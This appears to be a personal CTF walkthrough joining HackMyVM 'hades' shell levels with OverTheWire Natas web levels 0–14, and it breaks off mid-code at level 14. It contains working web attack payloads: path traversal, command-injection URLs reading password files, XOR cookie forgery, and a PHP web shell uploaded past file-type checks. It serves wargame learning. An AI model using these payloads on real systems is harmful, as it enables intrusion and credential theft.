-rw-r--r-- 1 hebe hebe 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hebe hebe 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hebe hebe 807 Apr 23 2023 .profile
-rw-r----- 1 root hebe 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root hebe 232 Apr 5 2024 mission.txt
hebe@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x32 #
################

## EN ##
User hera refuses to use Discord, she prefer an older and open source service.

## ES ##
La usuaria hera se niega a usar Discord, prefiere un medio mas antiguo y abierto.

hebe@hades:~$ /var/tmp/busybox netstat -tulpne
netstat: can't scan /proc - are you root?
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.11:35635 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 :::1965 :::* LISTEN -
tcp 0 0 :::80 :::* LISTEN -
tcp 0 0 :::21 :::* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:46815 0.0.0.0:* -
udp 0 0 127.0.0.11:44014 0.0.0.0:* -

hebe@hades:~$ /var/tmp/busybox nc localhost 6667
:hades.hmv NOTICE * :*** Looking up your hostname...
:hades.hmv NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (127.0.0.1) instead.
NICK player
USER player 0 * :player
:hades.hmv 001 KNICK :Welcome to the Devilnet IRC Network KNICK!player@127.0.0.1
:hades.hmv 002 KNICK :Your host is hades.hmv, running version InspIRCd-3
:hades.hmv 003 KNICK :This server was created 08:43:58 Feb 23 2025
:hades.hmv 004 KNICK hades.hmv InspIRCd-3 iosw Pbiklmnopstv :bklov
:hades.hmv 005 KNICK AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,Pimnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:hades.hmv 005 KNICK MAXTARGETS=20 MODES=20 NAMELEN=128 NETWORK=Devilnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 USERMODES=,,s,iow WHOX :are supported by this server
:hades.hmv 251 KNICK :There are 0 users and 0 invisible on 1 servers
:hades.hmv 253 KNICK 1 :unknown connections
:hades.hmv 254 KNICK 1 :channels formed
:hades.hmv 255 KNICK :I have 0 clients and 0 servers
:hades.hmv 265 KNICK :Current local users: 0 Max: 2
:hades.hmv 266 KNICK :Current global users: 0 Max: 2
:hades.hmv 375 KNICK :hades.hmv message of the day
:hades.hmv 372 KNICK :
:hades.hmv 372 KNICK :**************************************************
:hades.hmv 372 KNICK :* H E L L O *
:hades.hmv 372 KNICK :* *
:hades.hmv 372 KNICK :* Welcome to Evil IRC. *
:hades.hmv 372 KNICK :* *
:hades.hmv 372 KNICK :**************************************************
:hades.hmv 372 KNICK :
:hades.hmv 376 KNICK :End of message of the day.
list
:hades.hmv 321 KNICK Channel :Users Name
:hades.hmv 322 KNICK #test 1 :[+nt]
:hades.hmv 322 KNICK #channel666 0 :[+Pnt] Welcome hacker! Take it: JzpyRXRzWoHKZwgWzleM
:hades.hmv 323 KNICK :End of channel list.

hera

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
hera@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x33 #
################

## EN ##
User hermione would like to know what hera was doing.

## ES ##
A la usuaria hermione le gustaria saber que hacia hera.
hera@hades:~$ cat .bash_history

ls
ps
sudo -u hermione bash
cp /etc /etc2
^????????????????????^
ls
id
cat /usr/hera
rm /usr/hera
whoami
zip -R etc.zip /etc

hera@hades:~$ find / -type f -group hera 2>/dev/null | grep -v proc
/usr/hera
/var/tmp/mira2Pass
/var/tmp/miraPASS.pub
/var/tmp/miraPASS
/pwned/hera/.bash_history
/pwned/hera/.bash_logout
/pwned/hera/.bashrc
/pwned/hera/.ssh/authorized_keys
/pwned/hera/.ssh/id_rsa
/pwned/hera/flagz.txt
/pwned/hera/mission.txt
/pwned/hera/.profile

hera@hades:~$ cat /usr/hera
????????????????????

hermione

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
hermione@hades:~$ ls -la
total 52
drwxr-x--- 1 root hermione 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 hermione hermione 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hermione hermione 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hermione hermione 807 Apr 23 2023 .profile
-rwxrwxrwx 1 hermione hermione 16056 Apr 5 2024 beastgroup
-rw-r----- 1 root hermione 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root hermione 158 Apr 5 2024 mission.txt
hermione@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x34 #
################

## EN ##
User hero only talks to some groups.

## ES ##
La usuaria hero solo se habla con algunos grupos.
hermione@hades:~$ newgrp beast
hermione@hades:~$ id
uid=2025(hermione) gid=6666(beast) groups=6666(beast),2025(hermione)
hermione@hades:~$ ./beastgroup

????????????????????

hero

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
hero@hades:~$ ls -al
total 48
drwxr-x--- 2 root hero 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 hero hero 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hero hero 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hero hero 807 Apr 23 2023 .profile
---s--s--- 1 root hero 16056 Apr 5 2024 cleaner
-rw-r----- 1 root hero 22 Apr 5 2024 flagz.txt
-rw-r----- 1 root hero 173 Apr 5 2024 mission.txt
hero@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x35 #
################

## EN ##
User hestia likes to keep the screen clean.

## ES ##
A la usuaria hestia le gusta mantener la pantalla limpia.

hero@hades:~$ ./cleaner
hero@hades:~$ id
uid=2026(hero) gid=2226(her0) groups=2226(her0),2026(hero)
hero@hades:~$ sudo -l
[sudo] password for hero:
Sorry, user hero may not run sudo on hades.
hero@hades:~$ find / -type f -group her0 2>/dev/null | grep -v proc
/usr/share/libs
hero@hades:~$ cat /usr/share/libs
????????????????????

hestia

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
hestia@hades:~$ ls -al
total 228
drwxr-x--- 2 root hestia 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 hestia hestia 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hestia hestia 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hestia hestia 807 Apr 23 2023 .profile
-rw-r----- 1 root hestia 22 Apr 5 2024 flagz.txt
-r-s--s--- 1 ianthe hestia 198960 Apr 5 2024 less
-rw-r----- 1 root hestia 157 Apr 5 2024 mission.txt
hestia@hades:~$ cat flagz.txt mission.txt
^????????????????????
################
# MISSION 0x36 #
################

## EN ##
User ianthe has left us her own less.

## ES ##
La usuaria ianthe nos ha dejado su propio less.

hestia@hades:~$ ./less mission.txt
/opt/ianthe_pass.txt
/var/tmp/.kileros/irene.txt
/var/tmp/begood.txt
/var/tmp/bash_26
/var/tmp/curlout.txt
/var/tmp/directory-list-2.3-medium.txt
/var/tmp/bash_26.save
/var/tmp/rock/rockyou.txt
/var/tmp/hola.sh
/pwned/hestia/less
!done (press RETURN)
cat: /opt/ianthe_pass.txt: Permission denied
!done (press RETURN)

????????????????????
/opt/ianthe_pass.txt (END)

irene

ianthe→irene 的过渡未记录。此处仅保留 irene 节点的题面及 hatechars 文件信息;没有程序分析、输入或 iris 节点的成功输出,合集在此停止。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
irene@hades:~$ ls -la
total 48
drwxr-x--- 2 root irene 4096 Apr 5 2024 .
drwxr-xr-x 1 root root 4096 Apr 5 2024 ..
-rw-r--r-- 1 irene irene 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 irene irene 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 irene irene 807 Apr 23 2023 .profile
-rw-r----- 1 root irene 22 Apr 5 2024 flagz.txt
---s--s--- 1 root irene 16216 Apr 5 2024 hatechars
-rw-r----- 1 root irene 145 Apr 5 2024 mission.txt
irene@hades:~$ cat flagz.txt mission.txt
^ZACnrFArVosWGJNfPkN^
################
# MISSION 0x38 #
################

## EN ##
User iris hates some characters.

## ES ##
La usuaria iris odia algunos caracteres.

natas

natas.labs.overthewire.org http://natasX.natas.labs.overthewire.org (web only)

level 0

1
<!--The password for natas1 is <credential-redacted> -->
[credential redacted]

level 0->level 1

1
<!--The password for natas2 is <credential-redacted> -->
[credential redacted]

level 1->level 2

1
2
3
http://natas2.natas.labs.overthewire.org/files/users.txt # username:password
alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m
natas3:<credential-redacted> eve:zo4mJWyNj2 mallory:9urtcpzBmH
[credential redacted]

level 2->level 3

1
2
3
http://natas3.natas.labs.overthewire.org/robots.txt User-agent: * Disallow:
/s3cr3t/ http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
natas4:<credential-redacted>
[credential redacted]

level 3->level 4

1
2
referer=http://natas5.natas.labs.overthewire.org/ Access granted. The password
for natas5 is <credential-redacted>
[credential redacted]

level 4->level 5

1
2
cookies loggedin=1 Access granted. The password for natas6 is
<credential-redacted>
[credential redacted]

level 5->level 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

http://natas6.natas.labs.overthewire.org/includes/secret.inc

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Access granted. The password for natas7 is <credential-redacted>
[credential redacted]

level 6->level 7

1
2
3
4
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8
<credential-redacted>
[credential redacted]

level 7->level 8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

#########

<?php

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

$a=hex2bin($encodedSecret);
$b=strrev($a);
$c=base64_decode($b);
?>

❯ php tmp.php
oubWYf2kBq

Access granted. The password for natas9 is <credential-redacted>
[credential redacted]

level 8->level 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

http://natas9.natas.labs.overthewire.org/?needle=%3Bls+-la%3B&submit=Search

total 476
drwxr-x--- 2 natas9 natas9 4096 Apr 10 14:18 .
drwxr-xr-x 38 root root 4096 Apr 10 14:18 ..
-rw-r----- 1 natas9 natas9 117 Apr 10 14:18 .htaccess
-rw-r----- 1 natas9 natas9 45 Apr 10 14:18 .htpasswd
-rw-r----- 1 natas9 natas9 460878 Apr 10 14:18 dictionary.txt
-rw-r--r-- 1 root root 2924 Apr 10 14:18 index-source.html
-rw-r----- 1 natas9 natas9 1185 Apr 10 14:18 index.php

http://natas9.natas.labs.overthewire.org/?needle=%3Bcat+.ht*%3B&submit=Search

AuthType Basic
AuthName "Authentication required"
AuthUserFile /var/www/natas/natas9/.htpasswd
require valid-user
natas9:$apr1$nzkewIqM$eWV.KGZSkOVjbi/exvWjP/

http://natas9.natas.labs.overthewire.org/?needle=%3Bcat+%2Fetc%2Fnatas_webpass%2Fnatas10%3B&submit=Search

<credential-redacted>
[credential redacted]

level 9->level 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

http://natas10.natas.labs.overthewire.org/?needle=.*+%2Fetc%2Fnatas_webpass%2Fnatas11&submit=Search

/etc/natas_webpass/natas11:<credential-redacted>
[credential redacted]

level 10->level 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function xor_encrypt2($in, $key) {
$text = $in;
$outText = '';

for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}


function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

$data = loadData($defaultdata);

$data="HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=";

$data=base64_decode($data);

// xor

$tmp=json_encode($defaultdata);

$key=xor_encrypt2($tmp, $data);

// printf($key)
// ❯ php tmp.php
// eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe%
$key="eDWo";

$defaultdata["showpassword"]="yes";

$tmp=base64_encode(xor_encrypt2(json_encode($defaultdata),$key));

printf($tmp);

// ❯ php tmp.php
// HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5%

?>
1
2
cookies data=HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5 The
password for natas12 is <credential-redacted>
[credential redacted]

level 11->level 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
vim tmp.jpg
<?php system($_GET["cmd"]);?>

# zap
------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1
Content-Disposition: form-data; name="filename"

e9lu0ymfqq.php
------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1
Content-Disposition: form-data; name="uploadedfile"; filename="tmp.jpg"
Content-Type: image/jpeg

<?php system($_GET["cmd"]);?>

------geckoformboundaryec88367e3a04c8e1efd87e35792b76d1--


http://natas12.natas.labs.overthewire.org/upload/r7tbah8unm.php/?cmd=cat%20/etc/natas_webpass/natas13

<credential-redacted>
[credential redacted]

level 12->level 13

file signature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bc
Content-Disposition: form-data; name="filename"

w2vw1fq0zt.php
------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bc
Content-Disposition: form-data; name="uploadedfile"; filename="tmp.jpg"
Content-Type: image/jpeg

BMP<?php system($_GET["cmd"]);?>

------geckoformboundaryc9c63be75e22dcee59a27dabb59bf4bc--


http://natas13.natas.labs.overthewire.org/upload/ul46ottzp7.php?cmd=cat%20/etc/natas_webpass/natas13
BMP<credential-redacted>
<credential-redacted>
[credential redacted]

level 13->level 14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
